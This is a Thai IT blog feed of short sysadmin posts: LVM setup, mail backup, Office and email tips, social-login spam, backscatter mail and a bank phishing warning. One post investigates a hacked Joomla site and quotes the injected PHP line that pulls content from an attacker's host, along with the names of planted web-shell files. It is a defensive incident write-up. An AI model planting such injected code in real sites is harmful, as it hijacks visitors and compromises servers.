Author: kanakorn.h

  • บันทึกการสร้าง LVM Partition

    เนื่องจากมี disk ขนาดแค่ 560 GB หลายลูก แต่ต้องการเอามารวมกันให้เป็น Volume ใหญ่ๆ และไม่ใช้ RAID
    เขียนเป็นบันทึกเก็บไว้ จึงอยากเอามานำเสนอ เผื่อเป็นประโยชน์

    1. มี /dev/sdb , /dev/sdc , /dev/sdd ก้อนละ 560 GB อยู่ ต้องทำ LVM

    เป้าหมายคือ ต้องการได้ Device สำหรับการ mount ชื่อ /dev/virtual1/logical1

    reference:
    http://www.howtoforge.com/linux_lvm
    http://www.linuxquestions.org/questions/linux-hardware-18/lvcreate-with-max-size-available-749253/
    2. ติดตั้ง lvm software ด้วยคำสั่ง

    apt-get install lvm2 dmsetup mdadm reiserfsprogs xfsprogs

    3. สร้าง partition ใน physical disk ให้เป็นของ LVM Partition

    sudo su
    fdisk /dev/sdb
    Command (m for help): n
    Partition type: p
    Partition number (1-4, default 1): 1
    First sector (2048-1073741823, default 2048):
    Last sector, +sectors or +size{K,M,G} (2048-1073741823, default 1073741823):
    Command (m for help): t
    Hex code (type L to list codes): 8e
    Command (m for help): w

    ทำเช่นเดียวกับกับทั้ง /dev/sdc, /dev/sdd

    4. ต่อไป สร้าง Physical Volume ของ LVM
    pvcreate /dev/sdb1 /dev/sdc1 /dev/sdd1
    pvdisplay

    5. ต่อไป สร้าง Group Volume ของ LVM
    vgcreate virtual1 /dev/sdb1 /dev/sdc1 /dev/sdd1
    vgdisplay
    vgscan

    6. ต่อไป สร้าง Logical Volume ของ LVM (เต็มพื้นที่ที่มี)
    lvcreate --name logical1 -l 100%Free virtual1
    lvdisplay
    lvscan

    7. ต่อไป สร้าง Filesystem แบบ ext4
    mkfs.ext4 /dev/virtual1/logical1

    8. แก้ fstab แล้ว mount
    vi /etc/fstab
    /dev/virtual1/logical1 /var/spool/mailbackup ext4 rw,noatime 0 0
    mount -a

  • แนวทางการ Backup บน Ubuntu Server (กรณีระบบ PSU EMail)

    เนื่องจากจะจัดทำระบบ Backup and Recovery ระบบ Mail ซึ่งทำงานอยู่บน Ubuntu จึงทำการรบรวมข้อมูล และหาแนวทางที่เหมาะสม

     

    ก่อนจะตัดสินใจเลือก แผนการ Backup ที่เหมาะสม ก็ควรพิจารณาเรื่องต่อไปนี้ด้วย [1]

    1. WHY: จุดประสงค์การ Backup/Restore, ถ้าข้อมูลสูญหายจริงๆจะเกิดความเสียหายขนาดไหน ?

    2. WHAT: สิ่งที่จะทำการ Backup, ทั้ง Hard Drive? หรือเป็นข้อมูลบางส่วน?

    3. WHEN: เวลาที่ดีที่สุดที่จะ Backup, บ่อยขนาดไหน, จะทำการ Full/Incremental Backup เมื่อใดบ้าง ?

    4. WHERE: เก็บ Backup ไว้ที่ใด, ในเครื่องนั้นๆ, เก็บไว้ภายนอก หรือใช้บริการ Cloud Storage

    5. MEDIUM: สื่อที่ใช้จัดเก็บ, USB Stick, External HDD, Tape หรือ Backup Server

     

    ประเภทของการ Backup [1]

    1. Full: สำรองทุกสิ่งอย่าง

    2. Incremental: สำรองเฉพาะสิ่งที่เพิ่มขึ้นมา นับจากการสำรองครั้งล่าสุด

    3. Differential:  เหมือนกับ Incremental แต่เก็บเฉพาะไฟล์ที่ยังไม่ปรับค่า Archive bit (ในกรณี Windows Filesystem)

     

    วิธีการ Backup : จากการสำรวจ พบว่าบน Ubuntu มีเครื่องมือ และวิธีการให้ใช้มากมาย เช่น SimpleBackupSuite, grsync, pybackpack หรือที่ติดมาพร้อมกับ Ubuntu Desktop อย่าง Déjà Dup [1] แต่เครื่องมือเหล่านี้เหมาะสำหรับการใช้งานแบบ Desktop Computer มากกว่า แต่ในระบบ Mail Server ซึ่งมีปริมาณข้อมูลจำนวนมาก และเป็นของผู้ใช้จำนวนมาก (ในระบบมีผู้ใช้รวม 6000 คน) จึงควรต้องมีการทำงานที่ยืดหยุ่นกว่า และสามารถปรับแต่งตามต้องการได้

    จึงพิจารณาใช้ tar เพื่อทำการ Full [2] และ Incremental Backup [3] แล้วจึงใช้ rsync ส่งไฟล์ไปเก็บไว้ที่ Backup Server ต่อไป

     

    ในกรณี PSU Email มีลักษณะดังนี้

    1. เก็บ email แต่ละฉบับเป็นแบบไฟล์ ไฟล์ขนาดเล็กๆ

    2. ไม่มีการเขียนทับไฟล์เดิม (เว้นแต่ Index ของ Mailbox ซึ่งไม่จำเป็นนัก เพราะ ต้อง rebuild ใหม่เมื่อทำการ restore)

    3. เมื่อมี email ใหม่เข้ามา จะทำการสร้างไฟล์ใหม่ โดยแต่ละไฟล์จะเป็นตัวเลข เพิ่มขึ้นเรื่อยๆ ไม่ซ้ำเดิมแน่นอน

    4. เมื่อผู้ใช้สามารถ สร้าง และ rename ชื่อ directory ได้
    พิจารณาคำถามข้างต้น แล้วให้ตำตอบ

    WHY: เพื่อสำรอง email ไว้ให้ ในกรณีฉุกเฉินที่ผู้ใช้ลบ email ไปโดยไม่ตั้งใจ

    WHAT: email อยู่บน disk แยกออกไป, ทำการสำรองเฉพาะไฟล์ใน directory จัดเก็บ ซึ่งใช้เนื้อที่รวม 600 GB ซึ่งเป็นของผู้ใช้ในระบบ 6,000 คน, ข้อมูลมีลักษณะเป็นไฟล์ขนาดเล็กจำนวนมาก และมีการเพิ่มและลดจำนวน แต่ไม่มีการแก้ไขไฟล์, มีการเพิ่ม/ลบ/เปลี่ยนชื่อ directory

    WHEN: จากสถิติการใช้งาน พบว่า ผู้ใช้ใช้งานน้อยที่สุดหลังเวลา 03:00 ของทุกวัน และในวันอาทิตย์เป็นวันที่มีปริมาณการใช้งานน้อยที่สุด และจากการย้ายระบบครั้งล่าสุด พบว่าการทำ Full Backup ใช้เวลา 16 ชั่วโมง ส่วนการทำ Incremental Backup ประจำวัน ใช้เวลาประมาณ 1 ชั่วโมง จึงเลือกสำรองแบบ Full ทุกวันอาทิตย์ เริ่มเวลา 00:01 และทำ Incremental ในวันจันทร์ ถึงเสาร์ เริ่มเวลา 03:01

    WHERE: เนื่องจากในอนาคตวางแผนจะปรับเป็นระบบ Distributed Mailbox จึงวางระบบให้ Backup เก็บไว้ในเครื่องก่อน แล้วใช้ rsync ไปเก็บไว้ใน Backup Server แล้วมีระบบย้ายข้อมูลเก่า ลงไปเก็บใน External HDD เพื่อสำรองไว้ในระยะยาวได้

    MEDIUM: สำรองลงใน Local Disk ก่อน แล้ว rsync ไปลงใน Backup Server จากนั้นย้ายลง External HDD

     

    แนวทางการ Backup ที่เลือกใช้สำหรับ PSU Email (เป็นเพียงตัวอย่าง)

    1. การทำ Full Backup : ให้ระบบเข้าไป Backup ข้อมูลใน Mailbox ของผู้ใช้ เป็นรายคน (เช่น username.s) จาก directory /var/spool/mail/ ทุกวันอาทิตย์ เวลา 00:01 โดยเก็บไฟล์ไว้ที่ /path/to/backupfile ด้วยคำสั่ง

    tar -zcf  /path/to/backupfile/username.s-f-20130414.tar.gz -g  /path/to/backupfile/username.s-20130414.snar   /var/spool/mail/username^s/

    2. การทำ Incremental Backup: ทำคล้ายกับ Full Backup แต่ใช้คำสั่งต่อไปนี้ ทุกวันจันทร์ ถึงเสาร์ เวลา 03:01

    tar -zcf  /path/to/backupfile/username.s-i-20130415.tar.gz -g  /path/to/backupfile/username.s-20130414.snar   /var/spool/mail/username^s/

    3. เมื่อทำครบทุก mailbox จึงทำการ Rsync ไปเก็บไว้ใน Backup Server ต่อไป

     

    Reference

    [1] https://help.ubuntu.com/community/BackupYourSystem

    [2] http://www.gnu.org/software/tar/manual/html_chapter/Backups.html

    [3] http://www.tuxradar.com/content/quick-guide-backups-using-tar

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1

    จากการเข้าแก้ไขเว็บไซต์ต่างๆที่โดน Hack ในช่วง 2 ปีที่ผ่าน พบว่า จะมีรูปแบบเดิมๆคือ

    1. มีการเปิด Permission ของ directory เป็นแบบ 777 หรือ world writable หรือแม้แต่เปิดสิทธิ์ให้ web user เช่น apache/httpd/www-data สามารถเขียนได้

    2. เมื่อมีพื้นที่ให้ web user เขียนได้ แล้ว Web Application นั้นๆ มีช่องโหว่ หรือไม่ก็มีการทำงานปรกติที่เปิดให้ Web User เขียนไฟล์ได้ตามปรกติ ก็เป็นช่องให้เกิดการ “วางไฟล์” ซึ่ง Hacker จะเข้ามาเรียกไฟล์ดังกล่าว ซึ่งจะได้สิทธิเป็น Web User ทำการแก้ไขไฟล์, นำไฟล์ .c มาวางแล้ว compile ต่อไป ซึ่งอาจจะทำให้เกิด Buffer Overflow จนกระทั่งสามารถครอง Server ได้เลย

    วิธีการที่แนะนำสำหรับการทำ Website ให้ปลอดภัย

    1. ในเครื่องที่เป็น Production Server ต้องไม่มี Compiler, Development Tools เช่น gcc อยู่เลย

    2. หากใช้ CMS ต่างๆ เช่น Joomla การปรับปรุงหลักๆเช่นการเปลี่ยน Template, เพิ่ม Component หรือ อะไรที่มีการเปลี่ยนแปลงระดับไฟล์ (ไม่รวมการเขียนพวก Article หรือบทความ เพราะเป็นการเขียนไปยัง Database ไม่ใช่ระดับไฟล์) ก็ควร ยกเลิกการทำงานทาง Backend ผ่าน Web แต่ให้ใช้วิธี สร้างหรือปรับเปลี่ยนจากเครื่องทดสอบ แล้วใช้วิธี FTP ขึ้นไป บน Production Server แทน แล้วปรับให้ Owner เป็นอะไรที่ไม่ใช่ Web User หรือ ต้องไม่ให้ Web User เขียนได้

    วิธีนี้ อาจจะไม่สะดวก แต่ แลกกับความปลอดภัย เป็นวิธีที่จำเป็น ลองสังเกตว่า ทำไม Joomla รุ่นใหม่ๆ จึงเปิดให้มีการ Update ผ่านทาง FTP ด้วย

    3. ถ้า Website มีความจำเป็นต้องให้ผู้ใช้ทั่วไปสามารถ Upload ไฟล์ได้ ต้องเปลี่ยนสิทธิ์ Permission ใน directory ที่เอาไฟล์ขึ้นไปวางนั้น ต้องไม่สามารถ Execute ได้, ลองพิจารณาการใช้ .htaccess ร่วมด้วย

    4. ในกรณี CMS ถ้ามีการใช้ Component หรือ Module อะไร ก็ต้องติดตามดูเรื่อง ช่องโหว่ต่างๆ และทำการปรับปรุงรุ่นสม่ำเสมอ ล่าสุด น่าเป็นห่วงกลุ่มที่ใช้ JCE (รุ่นยังไม่แน่ชัด) กับ Phoca Gallery เพราะมีความสามารถในการ Upload ไฟล์และเป็นที่นิยม ทั้งของกลุ่มผู้ใช้และ Hacker

    อาจจะทำให้ใช้งานยากขึ้น แต่ ถ้าต้องการความปลอดภัย เรื่องเหล่านี้จำเป็นมาก

    ต่อไป เมื่อพบว่าโดน Hacker เข้ามาเยี่ยมแล้ว … จะมีอาการอย่างไรบ้าง …

    ล่าสุด พบ Website ที่ใช้ Joomla โดน Hack, โดยเมื่อเปิดไปยัง URL หลัก จะพบว่ามีการ Redirect ไปยัง Website อื่นๆ และเปลี่ยนไปเรื่อย

    เมื่อลองดู Source โดยการ View Source พบว่ามีการแทรกบรรทัดสุดท้ายไว้ว่า (ไฟล์ index.php อยู่ที่ Document Root ของ site นี้เลย)

    echo file_get_contents('http://www.sorgulatr.com/1.htm');

    ต่อไปนี้ เป็นขึ้นตอนการตรวจสอบว่า มีการวางไฟล์ใดไว้บ้าง

    1. เริ่มจากดูว่า วันที่ ที่มีการเปลี่ยนแปลงไฟล์ index.php คือวันใด ด้วยคำสั่ง

    ls -l index.php

    พบว่า

    -rwxr--r--  1 apache  staff    2106 Mar 22 00:50 index.php

    2. ก็คาดว่า มีการ hack เข้ามาเมื่อวันที่ 22 มีนาคม ก็น่าจะมีการวางไฟล์ในเวลาใกล้เคียงกัน จึงใช้วิธีต่อไปนี้ในการหาว่า มีการวางไฟล์อื่นๆไว้ที่ใดบ้าง

    ด้วยคำสั่ง

    touch --date "2013-03-22" /tmp/foo 
    find ./ -newer /tmp/foo

    จึงรู้ว่ามีการเขียนไฟล์ไว้ที่

    ./libraries/tcpdf/cache
     ./administrator/cache/3c788c8140c244baa4de05cad390c937.spc
     ./index.php
     ./configuration.php
     ./images/stories
     ./media
     ./media/bb.php
     ./tmp
     ./cache
     ./cache/z.txt
     ./cache/sok.php
     ./cache/exploit.conf
     ./cache/ubuntu.c

    พบว่า น่าจะเจาะผ่าน ./media กับ ./cache
    ลองเปิด http://xxxxx.psu.ac.th/media/bb.php
    ได้ web ที่สามารถเข้าไป browse ไฟล์ทั้งเครื่องได้

    3. ยังไม่ไว้ใจ จึงดูว่า website นี้ ผู้ติดตั้งตัวจริง น่าจะสิ้นสุดการ update เมื่อใด จึงสันนิษฐานว่า คงเป็นวันเดียวกับที่เปลี่ยน directory ชื่อ installation เป็นชื่ออื่น นั่นคือ วันที่ Mar  2  2012

    จึงใช้คำสี่ง

    touch --date "2012-03-02" /tmp/foo
     find ./ -newer /tmp/foo

    พบว่ามีไฟล์ต่างๆเกิดขึ้น แต่เป็นไฟล์ภาพ และเอกสารพวก .pdf, .doc ซึ่งน่าจะเป็นการใช้งานปรกติ แต่ก็มีไฟล์พวกนี้ด้วย

    ./sejeal.jpg
     ./media/mod.php
     ./media/sok.php
     ./cache/ab.txt

    พบว่า sejeal.jpg นั้นเป็นภาพแสดงตัวของ Hacker ว่า ฉันเป็นคน Hack ที่นี่ได้ [-.-“] ไฟล์เป็นของวันที่ Feb 3, 2013 นอกจากนั้นเป็นไฟล์ที่ใช้ในการ Hack, แถมมีคู่มือในการ Hack ซึ่งแสดงช่องโหว่ของ JCE ไว้ด้วยในไฟล์ ab.txt

    สรุป:

    1. เมื่อพบว่าเว็บไซต์ โดน Hack ควรตรวจสอบว่า วันที่ของไฟล์ที่แสดงอาการ คือวันใด แล้วใช้คำสั่ง

    touch --date "2013-03-22" /tmp/foo

    เพื่อสร้างไฟล์ ซึ่งตั้งค่าวันที่เปลี่ยนแปลงเป็นวันนั้นๆ ไว้ที่ /tmp ตั้งชื่อว่า foo

    แล้วใช้คำสั่ง

    find ./ -newer /tmp/foo

    เพื่อค้นหาว่า ที่ Document Root ของ website นั้น มีไฟล์ใดบ้างที่ถูกแก้ไขในวันเดียวกัน, จากนั้น อาจจะลองดูรายละเอียด ถ้าเป็นไฟล์ของระบบ ก็แก้ไขกลับเป็นเหมือนเดิม หรือไม่ก็ลองพิจารณา ติดตั้ง CMS ใหม่ (อาจจะสายไปแล้ว)

    2. ตรวจสอบด้วยวิธีการเดียวกัน แต่ให้เลือกวันที่ของ /tmp/foo เป็นวันที่สุดท้ายที่ทำการเปลี่ยนแปลงไฟล์ของ CMS นี้ เพื่อดูว่า ตลอดเวลาที่ผ่านมา มีใครเอาไฟล์มาวางแปลกๆไว้บ้าง

    ไว้มีรายละเอียดใหม่ๆ จะมานำเสนอครับ

  • วิธีลดขนาดไฟล์ Microsoft Word ให้เล็กลง

    ในการทำเอกสารต่างๆ โดยเฉพาะ Microsoft Word ผู้ใช้มักจะ ใส่รูปภาพ เข้ามาในไฟล์ เพื่อให้เกิดความสวยงาม และสื่อความหมายในการบรรยาย

    บ่อยครั้ง เป็นภาพ “หน้าจอ” โดยการ “Print Screen” หรือ การ เอาภาพจากกล้องดิจิตอล ซึ่งปัจจุบันมีความละเอียดสูง เช่นกล้อง 5MP เป็นอย่างต่ำ หรือกล้องใหม่ๆ 12 MP กันเลยทีเดียว ซึ่งภาพที่ได้จะมีขนาดใหญ่มาก เมื่อนำมาใส่ในไฟล์เอกสาร แล้วทำการ Resize ภาพ หรือ Crop เอาเฉพาะบางส่วนของภาพ ก็มักจะคิดว่า ขนาดของไฟล์ จะลดลงไปด้วย

    ซึ่งความจริงไม่ใช่อย่างนั้น เพราะโปรแกรม Microsoft Word จะยังเก็บภาพขนาดเดิมเอาไว้ เพียงแต่เลือกแสดงบางส่วน หรือ ลดขนาดการแสดงผลเท่านั้น จึงทำให้ไฟล์มีขนาดใหญ่ … และอาจจะเป็นปัญหาได้ เมื่อไฟล์มีขนาดใหญ่มากๆ, การส่งไฟล์ผ่าน email ก็จะมีขนาดใหญ่ จนบางครั้ง ผู้รับไม่สามารถรับได้ เช่นส่งไฟล์ขนาดเกิน 25 MB ไปยัง Gmail/Hotmail เป็นต้น

    วิธีการลดขนาดไฟล์

    1. คลิกที่ภาพในไฟล์ >Pictures Tools > Format > Compress Pictures
    แล้วเลือกความละเอียดขนาดแค่ email ก็พอ
    คลิก OK แล้ว Save

    MicrosoftWord-PictureCompress

    2. ผลการลดขนาด จะทำให้ไฟล์เดิมขนาด 6 MB ลดเหลือ 2 MB ในทันที

    fileresize-result

  • Facebook นั่นแหล่ะ ทำให้มีจดหมายขยะมากขึ้น ?!?!

    ต้องยอมรับว่า ทุกวันนี้ ใครที่ทำงานกับคอมพิวเตอร์ เริ่มต้นสิ่งแรกๆที่มักจะทำ คือ เปิด Internet Browser แล้ว เว็บไซต์ที่จะเปิดลำดับแรกๆ คือ Facebook และพฤติกรรมที่มันจะทำคือ Login ค้างเอาไว้ แล้วไปทำงานอย่างอื่นต่อ

    แล้วเมื่อ Facebook เป็นที่นิยมอย่างมาก ก็ทำให้ website ต่างๆ อำนวยความสะดวกในการใช้งานกับผู้ใช้มากยิ่งขึ้น โดยให้ผู้ใช้ สามารถ Login เข้าใช้งานได้ โดยไม่ต้องสมัคร ขอเพียงมี Facebook Account ก็สามารถเข้าใช้งานได้

    สิ่งที่ตามมา แต่ผู้ใช้จำนวนมาก “ไม่รู้” เนื่องจาก “ไม่อ่าน” คือ เมื่อใช้ Facebook Account ในการ Login แล้ว ระบบเหล่านั้น จะสอบถาม “สิทธิ” การเข้าถึงข้อมูล ส่วนตัว บน Facebook Account ด้วย และมันจะเสริมด้วยบริการ “แจ้งให้เพื่อนๆทราบ” ว่าเราได้เข้าใช้งานแล้ว โดยการเข้าไปอ่าน รายชื่อ เพื่อนๆ (Friends) แล้วส่ง Notification ไปยังเพื่อนๆของเรา … ปัญหาคือ เพื่อนๆของเรา ก็ “ไม่อ่าน” เช่นกัน เห็นอะไรมา ก็ คลิก คลิก คลิก ก็เลยทำให้การกระจายข้อมูล Website นั้นๆ ไปทั่วระบบ Social Network อย่างที่เป็นไปในปัจจุบัน ซึ่ง ก็จะบรรลุวัตถุประสงค์ของเจ้าของ Website เขาหล่ะ

    และนั่น … เป็นที่มาของปัญหา จดหมายขยะ มากมาย เพราะบางอย่างก็เป็นสิ่งที่ต้องการสำหรับบางคน แต่บางคนก็ไม่ต้องการ

    คราวนี้มาดูรายละเอียด และให้ “อ่าน” ให้มากขึ้นก่อนจะ คลิก อะไรไป

    1. ขอยกตัวอย่าง Linked-in และ SkillPage ซึ่งเป็นปัญหาในปัจจุบัน ที่มีผู้ใช้หลายท่านกำลังรู้สึกรำคาญกับข้อมูลเหล่านี้
    Linked-in และ SkillPage เป็น Social Network “อีกตัวหนึ่ง” สำหรับผู้ที่อยากจะ หางาน หรือเปิดตัวสู่สังคม ส่วน SkillPage จะไว้สำหรับให้ผู้ที่อยากหางานโดยเน้นให้ใส่ข้อมูลเกี่ยวกับความสามารถ (Skill) ที่มี

    หน้าจอการ Login ด้วย Facebook Account ของ Linked-in

    01-linkedin-join

    หน้าจอการ Login ด้วย Facebook Account ของ SkillPage

    02-skillpage-join

    จะเห็นว่า มีปุ่มให้คลิก เพื่อ Login ด้วย Facebook Account/ Google Account เป็นต้น

    2. เมื่อคลิกเข้ามาแล้ว หาก Login Facebook ค้างเอาไว้ ก็จะมาหน้าที่ระบบจะถาม Permission ในการเข้าถึงข้อมูล … ซึ่งถ้าไม่อ่าน ก็จะเปิดให้พวกนี้เข้าอ่าน Friends ของเราได้ และเป็นช่องทางในการกระจายตัวต่อไป

    Linked-in

    03-linkedin-facebook

    SkillPage

    04-skillpage-facebook

     

    3. หลังจากนั้น จะให้เราอนุญาต ให้เขา Post ข้อความต่างๆบน Facebook แทนตัวเรา และมักจะตบท้ายด้วย การ “เชิญเพื่อนๆของคุณสิ”
    Grow Your Network … ใช่สิ Network เขาคุณไง ไม่ใช่ของฉัน

    05-GrowYourNetwork-Linkedin

     

    4. เมื่อคลิก Continue ก็จะพยายามให้ Login ด้วย Gmail Account และจะขออ่าน Google  Contact ของเรา

    06-LinkedIn-gmailcontact

     

    จากนั้น หากเราหลงกล ระบบก็จะอ่าน Google Contact ของท่าน แล้วส่ง email ไปหาทุกคนในนั้น เชิญให้มาสมัคร .. และเมื่อเพื่อนท่าน “ไม่อ่าน” อะไรเลย คลิกไปเรื่อย … ก็จะมี Account Linked-In หรืออะไรก็แล้วแต่ เต็มไปหมด

    สำหรับผู้ที่อ่านบทความนี้แล้ว ก็อยากเชิญชวนให้ “อ่าน” ให้ดีๆก่อนจะสมัครอะไร

    แต่ก็เชื่อว่า บทความยาวๆอย่างนี้ จะมีมีบางคน

    ไม่อ่าน !!! อีกตามเคย

  • วิธี Forward As Attachment บน Thunderbird

    การส่งต่อ email หรือการ Forward นั้น สามารถทำได้ 2 แบบคือ

    1) แบบ Inline คือจดหมายที่ส่งต่อไป จะปรากฏอยู่ในเนื้อจดหมาย โดยจะมีเครื่องหมาย > นำหน้าบรรทัดต่างๆ

    2) แบบ Attachment คือ จดหมายทั้งฉบับรวมถึงข้อมูลสำคัญของจดหมาย เช่น Header ต่างๆ รวมถึง Attachment จะตามมาด้วย

    ใน ThunderBird สามารถทำได้ทั้งสองแบบ แต่โดย Default จะทำการ Forward แบบ Inline

    ต่อไปนี้เป็นวิธีการ Forward As Attachment

    1. ใน ThunderBird เปิดจดหมายที่ต้องการ Forward As Attachment

    01-testmessage

    2. ไปที่เมนู (เครื่องหมาย ขีดๆๆ สามอันด้านขวามือของหน้าจอ) แล้วเลือก Message > Forward As > Attachment

    02-MessageMenu

    3. ก็จะสามารถ Forward As Attachment ได้

    03-forwardasattachment

  • สมัยนี้เขาไม่แนบไฟล์ใหญ่ๆกันแล้ว (Google Drive)

    มีผู้ใช้ถามมาว่า “จะส่งภาพงานอบรมให้เพื่อน ที่ Gmail แต่ทำไมส่งไปไม่ได้ ไม่กี่ภาพเอง ถามเพื่อนเขาก็ว่าพื้นที่เขาไม่เต็ม ทำไม PSU เราไม่ให้ส่งหล่ะ ?!?!?!” …

    ตรวจสอบพบว่า … ไม่กี่ภาพ แต่ขนาดรวมทั้งสิ้น 125 MB, และ Gmail ก็มีข้อจำกัด ไม่ให้ส่ง email ที่มีขนาดรวมไฟล์แนบเกิน 25 MB ในขณะที่ PSU เองไม่ได้จำกัดการส่งออกครับ

    แล้ว … ทำไงดี ???

    ต่อไปนี้เป็นหนึ่งในหลายๆวิธีครับ นั่นคือ ใช้ Google Drive เพื่อการแชร์ไฟล์
    โดยจะใช้วิธีสร้าง Folder แล้วแชร์ทั้งหมด ให้กับผู้อื่น แบบไม่ต้องใช้ Google Account ในการเข้ามาดู
    วิธีการใช้งานมีดังนี้

    0. ท่านต้องมี Google Account (Gmail Account นั่นแหล่ะ)

    1. Login ที่ https://drive.google.com

    login-drive

    2. คลิกที่ Create แล้วเลือก Folder

    create-folder

     

    3. ตั้งชื่อ “ภาพของฉัน”

    newfolder-ภาพของฉัน

     

    4. Upload ภาพไปเก็บใน “ภาพของฉัน” โดยคลิกที่ “ภาพของฉัน” แล้วคลิกที่ Upload (ภาพลูกศรชื้ขึ้น)
    แล้วเลือก Files, จากนั้น เลือกภาพที่ต้องการ เสร็จแล้วคลิกปุ่ม Open

    upload-pics

    5. รอให้ Upload เสร็จ

    upload-complete

    6.  คลิกที่เมนูด้านหลัง “ภาพของฉัน” แล้วคลิก Share … > Share

    share-share

    7. หากต้องการแชร์ให้ผู้อื่น “ที่มี Link” ดูได้ โดยไม่ต้อง Login ให้เลือก Anyone with the link

    แล้วเลือก Can View ดังภาพ แล้วคลิก Save

    (หากต้องการให้ Login ด้วย Google Account เลือก Private
    หากต้องการให้ทุกคน เห็นได้ เลือก Public on the Web)

    sharing-setting

     

    8.ใส่ email address ผู้รับลงไป คั่นด้วย Comma (,)
    หากต้องใส่ข้อความด้วย ก็สามารถทำได้ จากนั้นคลิก Share & Save

    share-save

    9. ผลคือ จะมี email ส่งไปถึงผู้รับ คล้ายอย่างนี้

    email

    10. เมื่อผู้รับคลิก “ภาพของฉัน” ก็จะได้ผลดังนี้ (มาที่ Google)

    result

     

    จึงเรียนมาเพื่อทราบ

  • การจัดการกับ Backscatter Mail

    (อยู่ระหว่างการปรับปรุง)

    เมื่อ Spammer หรือ Virus ในระบบเครือข่ายของเรา พยายามที่จะส่ง email ซึ่ง

    • ส่งจาก (From) email address ปลอมซึ่งไม่มีอยู่จริง
    • ถึง (To, CC, BCC) email address ซึ่งบางส่วนไม่มีอยู่จริง หรือ ผิดรูปแบบ หรือ ปลายทางไม่ยอมรับ email จาก domain ของเราแล้ว

    จดหมายเหล่านั้นจะมีการแจ้งถึงความล้มเหลวของการส่ง ที่เรียกว่า “Undeliverable mail notification” ไปยังผู้ส่ง ซึ่ง ไม่มีอยู่จริง ดังนั้น จะเกิดจดหมายพวกนี้ ค้างใน mail queue จำนวนมาก ทำให้เกิดความล้าช้าในการส่งจดหมายปรกติ โดยจดหมายพวกนี้เราจะเรียกว่า Backscatter mail

     

     

    Reference

    http://www.postfix.org/BACKSCATTER_README.html

  • 20130227-Kbank-Phishing

    มีจดหมายหลอกลวง หน้าตาประมาณนี้
    20130227-phishing-email

    เมื่อคลิก Link เข้าไป โดยผ่าน Google Chrome จะได้หน้าจอเตือนอย่างนี้
    20130227-chrome-warning

    แต่ถ้าเป็น IE, Firefox จะไม่ได้รับการเตือน !!!!
    ซึ่งจะได้หน้าจอประมาณนี้

    20130227-phishing-kbank

    ซึ่งหน้าตา ช่างเหมือนกับของจริงมากๆ

    แต่นี่คือ Website หลอกลวง เพื่อเอาข้อมูลทางการเงินของท่าน 

    โปรดระวัง !!!

    เปรียบเทียบ ของปลอม (ซ้าย) และ ของจริง (ขวา)

    20130227-compare

     

    วิธีสังเกต

    เวปไซต์ของจริง จะต้องมี รูปกุญแจ และเป็นสีเขียว (เข้ารหัสในการส่งข้อมูลด้วย HTTPS และ ใช้ SSL Certificate ที่ได้รับการยอมรับ)

    ด้านซ้ายคือ ของหลอกลวง ด้านขวาคือ ของจริง

    20130227-ssl-compare

    โปรดใช้ความระมัดระวัง